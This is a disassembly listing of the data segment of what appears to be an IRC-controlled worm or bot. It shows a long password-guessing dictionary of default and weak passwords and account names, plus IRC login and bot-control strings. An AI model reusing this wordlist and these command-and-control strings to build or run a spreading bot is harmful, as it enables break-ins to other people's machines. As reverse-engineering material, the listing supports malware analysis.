aBloodaxe	db 'bloodaxe',0         ; DATA XREF: seg002:0042C7CCo
		align 4
aBlood		db 'blood',0            ; DATA XREF: seg002:0042C7C8o
		align 4
aBlondie	db 'blondie',0          ; DATA XREF: seg002:0042C7C4o
aBlonde		db 'blonde',0           ; DATA XREF: seg002:0042C7C0o
		align 4
aBlack		db 'black',0            ; DATA XREF: seg002:0042C7BCo
		align 4
aBitnet		db 'bitnet',0           ; DATA XREF: seg002:0042C7B8o
		align 4
aBitmap		db 'bitmap',0           ; DATA XREF: seg002:0042C7B4o
		align 4
aBitch		db 'bitch',0            ; DATA XREF: seg002:0042C7B0o
		align 4
aBishop		db 'bishop',0           ; DATA XREF: seg002:0042C7ACo
		align 4
aBird		db 'bird',0             ; DATA XREF: seg002:0042C7A8o
		align 4
aBios		db 'bios',0             ; DATA XREF: seg002:0042C7A4o
		align 4
aBinary		db 'binary',0           ; DATA XREF: seg002:0042C7A0o
		align 4
aBill		db 'bill',0             ; DATA XREF: seg002:0042C79Co
		align 4
aBigfoot	db 'bigfoot',0          ; DATA XREF: seg002:0042C798o
aBicamera	db 'bicamera',0         ; DATA XREF: seg002:0042C794o
		align 4
aBible		db 'bible',0            ; DATA XREF: seg002:0042C790o
		align 10h
aBeverly	db 'beverly',0          ; DATA XREF: seg002:0042C78Co
aBetty		db 'betty',0            ; DATA XREF: seg002:0042C788o
		align 10h
aBetsie		db 'betsie',0           ; DATA XREF: seg002:0042C784o
		align 4
aBeth		db 'beth',0             ; DATA XREF: seg002:0042C780o
		align 10h
aBeta		db 'beta',0             ; DATA XREF: seg002:0042C77Co
		align 4
aBeryl		db 'beryl',0            ; DATA XREF: seg002:0042C778o
		align 10h
aBerliner	db 'berliner',0         ; DATA XREF: seg002:0042C774o
		align 4
aBerlin		db 'berlin',0           ; DATA XREF: seg002:0042C770o
		align 4
aBerkeley	db 'berkeley',0         ; DATA XREF: seg002:0042C76Co
		align 10h
aBeowulf	db 'beowulf',0          ; DATA XREF: seg002:0042C768o
aBenz		db 'benz',0             ; DATA XREF: seg002:0042C764o
		align 10h
aBeloved	db 'beloved',0          ; DATA XREF: seg002:0042C760o
aBell		db 'bell',0             ; DATA XREF: seg002:0042C75Co
		align 10h
aBehead		db 'behead',0           ; DATA XREF: seg002:0042C758o
		align 4
aBegin		db 'begin',0            ; DATA XREF: seg002:0042C754o
		align 10h
aBeethove	db 'beethove',0         ; DATA XREF: seg002:0042C750o
		align 4
aBecky		db 'becky',0            ; DATA XREF: seg002:0042C74Co
		align 4
aBeaver		db 'beaver',0           ; DATA XREF: seg002:0042C748o
		align 4
aBeauty		db 'beauty',0           ; DATA XREF: seg002:0042C744o
		align 4
aBeater		db 'beater',0           ; DATA XREF: seg002:0042C740o
		align 4
aBeast		db 'beast',0            ; DATA XREF: seg002:0042C73Co
		align 4
aBear		db 'bear',0             ; DATA XREF: seg002:0042C738o
		align 4
aBeammeup	db 'beammeup',0         ; DATA XREF: seg002:0042C734o
		align 4
aBeach		db 'beach',0            ; DATA XREF: seg002:0042C730o
		align 10h
aBatman		db 'batman',0           ; DATA XREF: seg002:0042C72Co
		align 4
aBatch		db 'batch',0            ; DATA XREF: seg002:0042C728o
		align 10h
aBassoon	db 'bassoon',0          ; DATA XREF: seg002:0042C724o
aBass		db 'bass',0             ; DATA XREF: seg002:0042C720o
		align 10h
aBasic		db 'basic',0            ; DATA XREF: seg002:0042C71Co
		align 4
aBaseball	db 'baseball',0         ; DATA XREF: seg002:0042C718o
		align 4
aBartman	db 'bartman',0          ; DATA XREF: seg002:0042C714o
aBart		db 'bart',0             ; DATA XREF: seg002:0042C710o
		align 4
aBaritone	db 'baritone',0         ; DATA XREF: seg002:0042C70Co
		align 10h
aBarf		db 'barf',0             ; DATA XREF: seg002:0042C708o
		align 4
aBare		db 'bare',0             ; DATA XREF: seg002:0042C704o
		align 10h
aBarber		db 'barber',0           ; DATA XREF: seg002:0042C700o
		align 4
aBarbara	db 'barbara',0          ; DATA XREF: seg002:0042C6FCo
aBanks		db 'banks',0            ; DATA XREF: seg002:0042C6F8o
		align 4
aBank		db 'bank',0             ; DATA XREF: seg002:0042C6F4o
		align 10h
aBandit		db 'bandit',0           ; DATA XREF: seg002:0042C6F0o
		align 4
aBananas	db 'bananas',0          ; DATA XREF: seg002:0042C6ECo
aBanana		db 'banana',0           ; DATA XREF: seg002:0042C6E8o
		align 4
aBall		db 'ball',0             ; DATA XREF: seg002:0042C6E4o
		align 10h
aBailey		db 'bailey',0           ; DATA XREF: seg002:0042C6E0o
		align 4
aBadass		db 'badass',0           ; DATA XREF: seg002:0042C6DCo
		align 10h
aBackdoor	db 'backdoor',0         ; DATA XREF: seg002:0042C6D8o
		align 4
aBacchus	db 'bacchus',0          ; DATA XREF: seg002:0042C6D4o
aBaby		db 'baby',0             ; DATA XREF: seg002:0042C6D0o
		align 4
aBabe		db 'babe',0             ; DATA XREF: seg002:0042C6CCo
		align 4
aAzure		db 'azure',0            ; DATA XREF: seg002:0042C6C8o
		align 4
aAztecs		db 'aztecs',0           ; DATA XREF: seg002:0042C6C4o
		align 4
aAuthoriz	db 'authoriz',0         ; DATA XREF: seg002:0042C6C0o
		align 10h
aAttack		db 'attack',0           ; DATA XREF: seg002:0042C6BCo
		align 4
aAtom		db 'atom',0             ; DATA XREF: seg002:0042C6B8o
		align 10h
aAtmosphe	db 'atmosphe',0         ; DATA XREF: seg002:0042C6B4o
		align 4
aAthena		db 'athena',0           ; DATA XREF: seg002:0042C6B0o
		align 4
aAsshole	db 'asshole',0          ; DATA XREF: seg002:0042C6ACo
aAsian		db 'asian',0            ; DATA XREF: seg002:0042C6A8o
		align 4
aArtist		db 'artist',0           ; DATA XREF: seg002:0042C6A4o
		align 4
aArthur		db 'arthur',0           ; DATA XREF: seg002:0042C6A0o
		align 4
aArrow		db 'arrow',0            ; DATA XREF: seg002:0042C69Co
		align 4
aArmy		db 'army',0             ; DATA XREF: seg002:0042C698o
		align 4
aArlene		db 'arlene',0           ; DATA XREF: seg002:0042C694o
		align 4
aAriadne	db 'ariadne',0          ; DATA XREF: seg002:0042C690o
aAria		db 'aria',0             ; DATA XREF: seg002:0042C68Co
		align 4
aApril		db 'april',0            ; DATA XREF: seg002:0042C688o
		align 4
aApollo13	db 'apollo13',0         ; DATA XREF: seg002:0042C684o
		align 10h
aAnything	db 'anything',0         ; DATA XREF: seg002:0042C680o
		align 4
aAnvils		db 'anvils',0           ; DATA XREF: seg002:0042C67Co
		align 4
aAnthropo	db 'anthropo',0         ; DATA XREF: seg002:0042C678o
		align 10h
aAnthrax	db 'anthrax',0          ; DATA XREF: seg002:0042C674o
aAnswer		db 'answer',0           ; DATA XREF: seg002:0042C670o
		align 10h
aAnonymou	db 'anonymou',0         ; DATA XREF: seg002:0042C66Co
		align 4
aAnon		db 'anon',0             ; DATA XREF: seg002:0042C668o
		align 4
aAnnette	db 'annette',0          ; DATA XREF: seg002:0042C664o
aAnne		db 'anne',0             ; DATA XREF: seg002:0042C660o
		align 4
aAnna		db 'anna',0             ; DATA XREF: seg002:0042C65Co
		align 4
aAnita		db 'anita',0            ; DATA XREF: seg002:0042C658o
		align 4
aAnimals	db 'animals',0          ; DATA XREF: seg002:0042C654o
aAnimal		db 'animal',0           ; DATA XREF: seg002:0042C650o
		align 4
aAngie		db 'angie',0            ; DATA XREF: seg002:0042C64Co
		align 4
aAngerine	db 'angerine',0         ; DATA XREF: seg002:0042C648o
		align 4
aAngela		db 'angela',0           ; DATA XREF: seg002:0042C644o
		align 10h
aAnfo		db 'anfo',0             ; DATA XREF: seg002:0042C640o
		align 4
aAndy		db 'andy',0             ; DATA XREF: seg002:0042C63Co
		align 10h
aAndromac	db 'andromac',0         ; DATA XREF: seg002:0042C638o
		align 4
aAndroid	db 'android',0          ; DATA XREF: seg002:0042C634o
aAndrea		db 'andrea',0           ; DATA XREF: seg002:0042C630o
		align 4
aAnchor		db 'anchor',0           ; DATA XREF: seg002:0042C62Co
		align 4
aAnarchy	db 'anarchy',0          ; DATA XREF: seg002:0042C628o
aAnarchis	db 'anarchis',0         ; DATA XREF: seg002:0042C624o
		align 4
aAnalog		db 'analog',0           ; DATA XREF: seg002:0042C620o
		align 10h
aAnal		db 'anal',0             ; DATA XREF: seg002:0042C61Co
		align 4
aAmorphou	db 'amorphou',0         ; DATA XREF: seg002:0042C618o
		align 4
aAmerica	db 'america',0          ; DATA XREF: seg002:0042C614o
aAmber		db 'amber',0            ; DATA XREF: seg002:0042C610o
		align 4
aAmanda		db 'amanda',0           ; DATA XREF: seg002:0042C60Co
		align 4
aAmadeus	db 'amadeus',0          ; DATA XREF: seg002:0042C608o
aAlphabet	db 'alphabet',0         ; DATA XREF: seg002:0042C604o
		align 10h
aAllow		db 'allow',0            ; DATA XREF: seg002:0042C600o
		align 4
aAllison	db 'allison',0          ; DATA XREF: seg002:0042C5FCo
aAlison		db 'alison',0           ; DATA XREF: seg002:0042C5F8o
		align 4
aAlisa		db 'alisa',0            ; DATA XREF: seg002:0042C5F4o
		align 10h
aAlicia		db 'alicia',0           ; DATA XREF: seg002:0042C5F0o
		align 4
aAlice		db 'alice',0            ; DATA XREF: seg002:0042C5ECo
		align 10h
aAliases	db 'aliases',0          ; DATA XREF: seg002:0042C5E8o
aAlias		db 'alias',0            ; DATA XREF: seg002:0042C5E4o
		align 10h
aAlgebra	db 'algebra',0          ; DATA XREF: seg002:0042C5E0o
aAlexande	db 'alexande',0         ; DATA XREF: seg002:0042C5DCo
		align 4
aAlex		db 'alex',0             ; DATA XREF: seg002:0042C5D8o
		align 4
aAlert		db 'alert',0            ; DATA XREF: seg002:0042C5D4o
		align 4
aAlbert		db 'albert',0           ; DATA XREF: seg002:0042C5D0o
		align 4
aAlbatros	db 'albatros',0         ; DATA XREF: seg002:0042C5CCo
		align 4
aAlbany		db 'albany',0           ; DATA XREF: seg002:0042C5C8o
		align 10h
aAlaska		db 'alaska',0           ; DATA XREF: seg002:0042C5C4o
		align 4
aAirplane	db 'airplane',0         ; DATA XREF: seg002:0042C5C0o
		align 4
aAids		db 'aids',0             ; DATA XREF: seg002:0042C5BCo
		align 4
aAerobics	db 'aerobics',0         ; DATA XREF: seg002:0042C5B8o
		align 4
aAdult		db 'adult',0            ; DATA XREF: seg002:0042C5B4o
		align 10h
aAdrianna	db 'adrianna',0         ; DATA XREF: seg002:0042C5B0o
		align 4
aAdrian		db 'adrian',0           ; DATA XREF: seg002:0042C5ACo
		align 4
aAdam		db 'adam',0             ; DATA XREF: seg002:0042C5A8o
		align 4
aAction		db 'action',0           ; DATA XREF: seg002:0042C5A4o
		align 4
aAccount	db 'account',0          ; DATA XREF: seg002:0042C5A0o
aAcademic	db 'academic',0         ; DATA XREF: seg002:0042C598o
		align 4
aAcademia	db 'academia',0         ; DATA XREF: seg002:0042C594o
		align 4
a000000		db '000000',0           ; DATA XREF: seg002:0042C590o
					; seg002:0042DFA8o
		align 4
a00000		db '00000',0            ; DATA XREF: seg002:0042C58Co
					; seg002:0042DFA4o
		align 4
a0000		db '0000',0             ; DATA XREF: seg002:0042C588o
					; seg002:0042DFA0o
		align 4
a000		db '000',0              ; DATA XREF: seg002:0042C584o
					; seg002:0042DF9Co
aTesting	db 'testing',0          ; DATA XREF: seg002:0042C580o
aDeath		db 'death',0            ; DATA XREF: seg002:0042C57Co
		align 10h
a00		db '00',0               ; DATA XREF: seg002:0042C578o
					; seg002:0042DF98o
		align 4
aXxxxxxxxx	db 'xxxxxxxxx',0        ; DATA XREF: seg002:0042C570o
					; seg002:0042E3E8o
		align 10h
aXxxxxxxx	db 'xxxxxxxx',0         ; DATA XREF: seg002:0042C56Co
					; seg002:0042E3E4o
		align 4
aXxxxxxx	db 'xxxxxxx',0          ; DATA XREF: seg002:0042C568o
					; seg002:0042E3E0o
aXxxxxx		db 'xxxxxx',0           ; DATA XREF: seg002:0042C564o
					; seg002:0042E3DCo
		align 4
aXxxxx		db 'xxxxx',0            ; DATA XREF: seg002:0042C560o
					; seg002:0042E3D8o
		align 4
aXxxx		db 'xxxx',0             ; DATA XREF: seg002:0042C55Co
					; seg002:0042E3D4o
		align 4
aXxx		db 'xxx',0              ; DATA XREF: seg002:0042C558o
					; seg002:0042E3D0o
aXx		db 'xx',0               ; DATA XREF: seg002:0042C554o
					; seg002:0042E3CCo
		align 4
asc_432C24:				; DATA XREF: seg002:0042C550o
					; seg002:0042E3C8o
		unicode	0, <x>,0
aGuessme	db 'guessme',0          ; DATA XREF: seg002:0042C54Co
aYouwontguessme	db 'youwontguessme',0   ; DATA XREF: seg002:0042C548o
		align 10h
aUwontguessme	db 'uwontguessme',0     ; DATA XREF: seg002:0042C544o
		align 10h
aMirc_0		db 'mirc',0             ; DATA XREF: seg002:0042C540o
		align 4
aKiddie		db 'kiddie',0           ; DATA XREF: seg002:0042C53Co
		align 10h
aScriptkiddie	db 'scriptkiddie',0     ; DATA XREF: seg002:0042C538o
		align 10h
aScript		db 'script',0           ; DATA XREF: seg002:0042C534o
		align 4
aHax0r		db 'hax0r',0            ; DATA XREF: seg002:0042C530o
		align 10h
aHacker		db 'hacker',0           ; DATA XREF: seg002:0042C52Co
		align 4
aL337		db 'l337',0             ; DATA XREF: seg002:0042C528o
		align 10h
aL33t		db 'l33t',0             ; DATA XREF: seg002:0042C524o
		align 4
aLeet		db 'leet',0             ; DATA XREF: seg002:0042C520o
		align 10h
aKiller		db 'killer',0           ; DATA XREF: seg002:0042C51Co
		align 4
a0wn3d		db '0wn3d',0            ; DATA XREF: seg002:0042C518o
					; seg002:0042E004o
		align 10h
aW00t		db 'w00t',0             ; DATA XREF: seg002:0042C514o
		align 4
aHeaven		db 'heaven',0           ; DATA XREF: seg002:0042C510o
		align 10h
aSpaceman	db 'spaceman',0         ; DATA XREF: seg002:0042C50Co
		align 4
aSatanic	db 'satanic',0          ; DATA XREF: seg002:0042C508o
aSatanik	db 'satanik',0          ; DATA XREF: seg002:0042C504o
aSatan		db 'satan',0            ; DATA XREF: seg002:0042C500o
		align 4
aGobo		db 'gobo',0             ; DATA XREF: seg002:0042C4FCo
		align 4
aMatthew	db 'Matthew',0          ; DATA XREF: seg002:0042C4F8o
aMatt		db 'Matt',0             ; DATA XREF: seg002:0042C4F4o
		align 4
aMat		db 'Mat',0              ; DATA XREF: seg002:0042C4F0o
aPw		db 'pw',0               ; DATA XREF: seg002:0042C4ECo
		align 4
aMypass123	db 'mypass123',0        ; DATA XREF: seg002:0042C4E8o
		align 10h
aMypass		db 'mypass',0           ; DATA XREF: seg002:0042C4E4o
		align 4
aPw123		db 'pw123',0            ; DATA XREF: seg002:0042C4E0o
		align 10h
aAdmin123	db 'admin123',0         ; DATA XREF: seg002:0042C4DCo
		align 4
aMypc123	db 'mypc123',0          ; DATA XREF: seg002:0042C4D8o
aMypc		db 'mypc',0             ; DATA XREF: seg002:0042C4D4o
		align 4
aLove		db 'love',0             ; DATA XREF: seg002:0042C4D0o
		align 4
aPwd		db 'pwd',0              ; DATA XREF: seg002:0042C4CCo
aLogin		db 'login',0            ; DATA XREF: seg002:0042C4C8o
		align 10h
aHome		db 'home',0             ; DATA XREF: seg002:0042C4C4o
		align 4
aZxcv		db 'zxcv',0             ; DATA XREF: seg002:0042C4C0o
		align 10h
aYxcv		db 'yxcv',0             ; DATA XREF: seg002:0042C4BCo
		align 4
aQwer		db 'qwer',0             ; DATA XREF: seg002:0042C4B8o
					; seg002:0042E374o
		align 10h
aSecret		db 'secret',0           ; DATA XREF: seg002:0042C4B4o
		align 4
aAsdf		db 'asdf',0             ; DATA XREF: seg002:0042C4B0o
		align 10h
aPc		db 'pc',0               ; DATA XREF: seg002:0042C4ACo
		align 4
aWin		db 'win',0              ; DATA XREF: seg002:0042C4A8o
aTest123	db 'test123',0          ; DATA XREF: seg002:0042C4A4o
aAbc		db 'abc',0              ; DATA XREF: seg002:0042C4A0o
aAaa		db 'aaa',0              ; DATA XREF: seg002:0042C49Co
					; seg002:0042E348o
aA_1:					; DATA XREF: seg002:0042C498o
					; seg002:0042E340o
		unicode	0, <a>,0
aCrash		db 'crash',0            ; DATA XREF: seg002:0042C494o
		align 4
aFucked		db 'fucked',0           ; DATA XREF: seg002:0042C490o
		align 4
aNetfuck	db 'netfuck',0          ; DATA XREF: seg002:0042C48Co
aIrule		db 'irule',0            ; DATA XREF: seg002:0042C488o
		align 4
aOwned		db 'owned',0            ; DATA XREF: seg002:0042C484o
		align 4
a0wned		db '0wned',0            ; DATA XREF: seg002:0042C480o
					; seg002:0042E008o
		align 4
aNetDevil	db 'net-devil',0        ; DATA XREF: seg002:0042C47Co
		align 4
aNetdevil	db 'netdevil',0         ; DATA XREF: seg002:0042C478o
		align 4
aDevil		db 'devil',0            ; DATA XREF: seg002:0042C474o
		align 4
aNilez		db 'Nilez',0            ; DATA XREF: seg002:0042C470o
		align 4
aFoobar		db 'foobar',0           ; DATA XREF: seg002:0042C46Co
		align 4
aGod		db 'god',0              ; DATA XREF: seg002:0042C468o
aSex_0		db 'sex',0              ; DATA XREF: seg002:0042C464o
aPat		db 'pat',0              ; DATA XREF: seg002:0042C460o
aPatrick	db 'patrick',0          ; DATA XREF: seg002:0042C45Co
aAlpha		db 'alpha',0            ; DATA XREF: seg002:0042C458o
		align 4
a007		db '007',0              ; DATA XREF: seg002:0042C454o
					; seg002:0042DFF4o
a123abc		db '123abc',0           ; DATA XREF: seg002:0042C450o
					; seg002:0042E204o
		align 4
a1234qwer	db '1234qwer',0         ; DATA XREF: seg002:0042C44Co
					; seg002:0042E210o
		align 10h
a123123		db '123123',0           ; DATA XREF: seg002:0042C448o
					; seg002:0042E1B0o
		align 4
a121212		db '121212',0           ; DATA XREF: seg002:0042C444o
					; seg002:0042E1A8o
		align 10h
a111111		db '111111',0           ; DATA XREF: seg002:0042C440o
					; seg002:0042E020o
		align 4
a110		db '110',0              ; DATA XREF: seg002:0042C43Co
					; seg002:0042E174o
a2600		db '2600',0             ; DATA XREF: seg002:0042C438o
					; seg002:0042E2FCo
		align 4
a2002		db '2002',0             ; DATA XREF: seg002:0042C430o
					; seg002:0042E2E8o
		align 4
aXp_0		db 'xp',0               ; DATA XREF: seg002:0042C42Co
		align 10h
aEnable		db 'enable',0           ; DATA XREF: seg002:0042C428o
		align 4
aGodblessyou	db 'godblessyou',0      ; DATA XREF: seg002:0042C424o
aIhavenopass	db 'ihavenopass',0      ; DATA XREF: seg002:0042C420o
a123asd		db '123asd',0           ; DATA XREF: seg002:0042C41Co
					; seg002:0042E208o
		align 4
aSuper		db 'super',0            ; DATA XREF: seg002:0042C418o
		align 10h
aInternet	db 'Internet',0         ; DATA XREF: seg002:0042C414o
		align 4
a123qwe		db '123qwe',0           ; DATA XREF: seg002:0042C40Co
					; seg002:0042E20Co
		align 4
aSybase		db 'sybase',0           ; DATA XREF: seg002:0042C408o
		align 4
aAbc123		db 'abc123',0           ; DATA XREF: seg002:0042C400o
		align 4
aAbcd		db 'abcd',0             ; DATA XREF: seg002:0042C3FCo
		align 4
aPasswd		db 'passwd',0           ; DATA XREF: seg002:0042C3F4o
		align 4
aPass_0		db 'pass',0             ; DATA XREF: seg002:0042C3F0o
		align 4
a88888888	db '88888888',0         ; DATA XREF: seg002:0042C3ECo
					; seg002:0042E140o
		align 4
a11111111	db '11111111',0         ; DATA XREF: seg002:0042C3E8o
					; seg002:0042E028o
		align 4
a111		db '111',0              ; DATA XREF: seg002:0042C3E4o
					; seg002:0042E014o
a54321		db '54321',0            ; DATA XREF: seg002:0042C3E0o
					; seg002:0042E308o
		align 10h
a654321		db '654321',0           ; DATA XREF: seg002:0042C3DCo
					; seg002:0042E30Co
		align 4
a123456789	db '123456789',0        ; DATA XREF: seg002:0042C3D8o
					; seg002:0042E1C8o
		align 4
a12345678	db '12345678',0         ; DATA XREF: seg002:0042C3D4o
					; seg002:0042E1C4o
		align 10h
a1234567	db '1234567',0          ; DATA XREF: seg002:0042C3D0o
					; seg002:0042E1C0o
a123456		db '123456',0           ; DATA XREF: seg002:0042C3CCo
					; seg002:0042E1BCo
		align 10h
a12345		db '12345',0            ; DATA XREF: seg002:0042C3C8o
					; seg002:0042E1B8o
		align 4
a1234		db '1234',0             ; DATA XREF: seg002:0042C3C4o
					; seg002:0042E1B4o
		align 10h
a123		db '123',0              ; DATA XREF: seg002:0042C3C0o
					; seg002:0042E1ACo
a12		db '12',0               ; DATA XREF: seg002:0042C3BCo
					; seg002:0042E1A0o
		align 4
a1:					; DATA XREF: seg002:0042C3B8o
					; seg002:0042E00Co
		unicode	0, <1>,0
aTemp123	db 'temp123',0          ; DATA XREF: seg002:0042C3B4o
aChangeme_0	db 'Changeme',0         ; DATA XREF: seg002:0042C3B0o
		align 10h
aChangeme	db 'changeme',0         ; DATA XREF: seg002:0042C3ACo
		align 4
aLinux		db 'linux',0            ; DATA XREF: seg002:0042C3A8o
		align 4
aUnix		db 'unix',0             ; DATA XREF: seg002:0042C3A4o
		align 4
aLocal		db 'LOCAL',0            ; DATA XREF: seg002:0042C3A0o
		align 4
aPepsi		db 'pepsi',0            ; DATA XREF: seg002:0042C39Co
		align 4
aServer_1	db 'SERVER',0           ; DATA XREF: seg002:0042C398o
					; seg002:0042E758o
		align 4
aSystem_0	db 'SYSTEM',0           ; DATA XREF: seg002:0042C394o
					; seg002:0042E3A8o ...
		align 4
aBackup		db 'BACKUP',0           ; DATA XREF: seg002:0042C390o
					; seg002:0042E750o
		align 4
aAccess		db 'ACCESS',0           ; DATA XREF: seg002:0042C388o
					; seg002:0042E748o
		align 4
aTest		db 'TEST',0             ; DATA XREF: seg002:0042C384o
					; seg002:0042E744o
		align 4
aEdu		db 'edu',0              ; DATA XREF: seg002:0042C380o
					; seg002:0042E740o
aOwner_1	db 'Owner',0            ; DATA XREF: seg002:0042C37Co
					; seg002:0042E73Co
		align 10h
aOwner_0	db 'OWNER',0            ; DATA XREF: seg002:0042C378o
					; seg002:0042E738o
		align 4
aDemo		db 'DEMO',0             ; DATA XREF: seg002:0042C374o
					; seg002:0042E734o
		align 10h
aFiles		db 'FILES',0            ; DATA XREF: seg002:0042C370o
					; seg002:0042E730o
		align 4
aRead		db 'READ',0             ; DATA XREF: seg002:0042C36Co
					; seg002:0042E72Co
		align 10h
aBoth		db 'BOTH',0             ; DATA XREF: seg002:0042C368o
					; seg002:0042E728o
		align 4
aLadeda		db 'ladeda',0           ; DATA XREF: seg002:0042C364o
					; seg002:0042E724o
		align 10h
aFull_0		db 'FULL',0             ; DATA XREF: seg002:0042C360o
					; seg002:0042E720o
		align 4
aWrite		db 'WRITE',0            ; DATA XREF: seg002:0042C35Co
					; seg002:0042E71Co
		align 10h
aShare_0	db 'SHARE',0            ; DATA XREF: seg002:0042C358o
					; seg002:0042E718o
		align 4
aTemp		db 'TEMP',0             ; DATA XREF: seg002:0042C354o
					; seg002:0042E714o
		align 10h
aPassword	db 'PASSWORD',0         ; DATA XREF: seg002:0042C350o
					; seg002:0042E710o
		align 4
aAdmin_0	db 'ADMIN',0            ; DATA XREF: seg002:0042C34Co
					; seg002:0042E70Co
		align 4
aRoot_0		db 'ROOT',0             ; DATA XREF: seg002:0042C344o
					; seg002:0042E704o
		align 4
aGuest_1	db 'GUEST',0            ; DATA XREF: seg002:0042C340o
					; seg002:0042E700o
		align 4
aBla		db 'bla',0              ; DATA XREF: seg002:0042C33Co
					; seg002:0042E6FCo
aFubar		db 'fubar',0            ; DATA XREF: seg002:0042C338o
					; seg002:0042E6F8o
		align 10h
aAdministrato_1	db 'ADMINISTRATOR',0    ; DATA XREF: seg002:0042C32Co
					; seg002:0042E6ECo
		align 10h
aDb2		db 'db2',0              ; DATA XREF: seg002:0042C31Co
aOracle		db 'oracle',0           ; DATA XREF: seg002:0042C318o
					; seg002:0042C404o
		align 4
aDba		db 'dba',0              ; DATA XREF: seg002:0042C314o
aDatabase	db 'database',0         ; DATA XREF: seg002:0042C310o
					; seg002:0042C3F8o
		align 4
aDefault	db 'default',0          ; DATA XREF: seg002:0042C30Co
					; seg002:0042CA98o
aGuest_0	db 'guest',0            ; DATA XREF: seg002:0042C308o
		align 4
aWwwadmin	db 'wwwadmin',0         ; DATA XREF: seg002:0042C304o
		align 4
aTeacher	db 'teacher',0          ; DATA XREF: seg002:0042C300o
					; seg002:0042DA2Co
aStudent	db 'student',0          ; DATA XREF: seg002:0042C2FCo
					; seg002:0042D974o
aOwner		db 'owner',0            ; DATA XREF: seg002:0042C2F8o
		align 10h
aComputer	db 'computer',0         ; DATA XREF: seg002:0042C2F4o
					; seg002:0042C410o
		align 4
aStaff		db 'staff',0            ; DATA XREF: seg002:0042C2ECo
		align 4
aAdmins		db 'admins',0           ; DATA XREF: seg002:0042C2E4o
		align 4
aAdministrat	db 'administrat',0      ; DATA XREF: seg002:0042C2E0o
aAdministrateur	db 'administrateur',0   ; DATA XREF: seg002:0042C2DCo
		align 4
aAdministrador	db 'administrador',0    ; DATA XREF: seg002:0042C2D8o
		align 4
aAdministrato_0	db 'administrator',0    ; DATA XREF: seg002:0042C2D4o
					; seg002:0042C334o ...
		align 4
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_41360D:loc_413718o
					; seg002:0042C2D0o ...
		align 4
aMirc1_6_99	db 'mirc 1.6.99',0      ; DATA XREF: seg002:off_42C224o
a@room		db '*@room',0           ; DATA XREF: seg002:off_42C220o
		align 4
		dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
		dd 2029206Ch, 2BBBB02h,	6F422020h, 74732074h, 65747261h
		dd 2E64h, 25207325h, 25222064h,	2273h
dword_433144	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CB59+F2o
		dd 2029206Ch, 2BBBB02h
aConnectedToS_	db '  Connected to %s.',0
		align 4
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_40CCC1+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 10h
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_40CCC1+35o
		align 4
aModeSS		db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: seg000:00412B18o
		align 4
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: seg000:00412B03o
		align 4
dword_4331BC	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:00412AF6o
		dd 2029206Ch, 2BBBB02h
aUserSLoggedIn_	db '  User: %s logged in.',0
		align 10h
dword_4331F0	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:00412AD9o
		dd 2029206Ch, 2BBBB02h
aPasswordAccept	db '  Password accepted.',0
		align 4
dword_433224	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:00412A7Bo
		dd 2029206Ch, 2BBBB02h
aFailedHostAuth	db '  *Failed host auth by: (%s!%s).',0
		align 4
dword_433264	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:00412A0Bo
		dd 2029206Ch, 2BBBB02h
aFailedPassAuth	db '  *Failed pass auth by: (%s!%s).',0
		align 4
aNoticeSYouVeBe	db 'NOTICE %s :You',27h,'ve been logged.',0Dh,0Ah,0
					; DATA XREF: seg000:004129FCo
					; seg000:00412A6Co
		align 4
aNoticeSNiceTry	db 'NOTICE %s :Nice try, idiot. (%s!%s).',0Dh,0Ah,0
					; DATA XREF: seg000:004129E8o
					; seg000:00412A58o
		align 10h
asc_4332F0:				; DATA XREF: seg000:004129B8o
		unicode	0, <~>,0
dword_4332F4	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:00412967o
		dd 2029206Ch, 2BBBB02h
aRandomNickChan	db '  Random nick change: %s',0
		align 4
dword_43332C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:004128B9o
		dd 2029206Ch, 2BBBB02h
aInvalidLoginSl	db '  Invalid login slot number: %d.',0
		align 4
dword_43336C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:004128AEo
		dd 2029206Ch, 2BBBB02h
aNoUserLoggedIn	db '  No user logged in at slot: %d.',0
		align 4
dword_4333AC	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0041284Ao
		dd 2029206Ch, 2BBBB02h,	73252020h, 0
unk_4333D0	db    2			; DATA XREF: seg000:00412820o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToStar_4	db ' Failed to start secure thread, error: <%d>.',0
		align 10h
dword_433420	dd 28026502h, 62302E31h, 20282029h, 75636573h, 6D2E6572h
					; DATA XREF: seg000:004127AAo
		dd 6C1F641Fh, 2202920h,	2002BBBBh, 20732520h, 74737973h
		dd 2E6D65h
aUnsecuring	db 'Unsecuring',0       ; DATA XREF: seg000:004127A4o
		align 4
aSecuring	db 'Securing',0         ; DATA XREF: seg000:0041279Do
		align 4
aSec		db 'sec',0              ; DATA XREF: seg000:00412742o
aSecure		db 'secure',0           ; DATA XREF: seg000:00412731o
		align 10h
unk_433470	db    2			; DATA XREF: seg000:00412726o
		db 65h,	2, 28h
		db  31h	; 1
